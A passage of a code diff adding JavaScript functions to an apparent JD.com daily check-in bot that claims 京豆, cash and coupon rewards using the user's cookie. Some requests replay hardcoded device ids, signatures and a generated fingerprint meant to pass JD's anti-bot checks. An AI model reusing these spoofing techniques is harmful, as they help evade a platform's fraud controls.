resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid) { + await new Promise(resolve => { + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=qRKHmL4sna8ZOP9F`, + headers: { + Cookie: KEY + } + }, async function(error, response, data) { + try { + if(data) { + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let ss = await Faker.getBody(`https://prodev.m.jd.com/mall/active/${tid}/index.html`) + fp = ss.fp + await getEid(ss, title) + } + } + } + } catch(eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=qRKHmL4sna8ZOP9F', + headers: { + Cookie: KEY + }, + body: `turnTableId=${tid}&fp=${fp}&eid=${eid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.msg == 'success' && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function getEid(ss, title) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${ss.a}`, + body: `d=${ss.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + } + } + $nobyda.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${title} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $nobyda.AnError(eor, resp); + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: 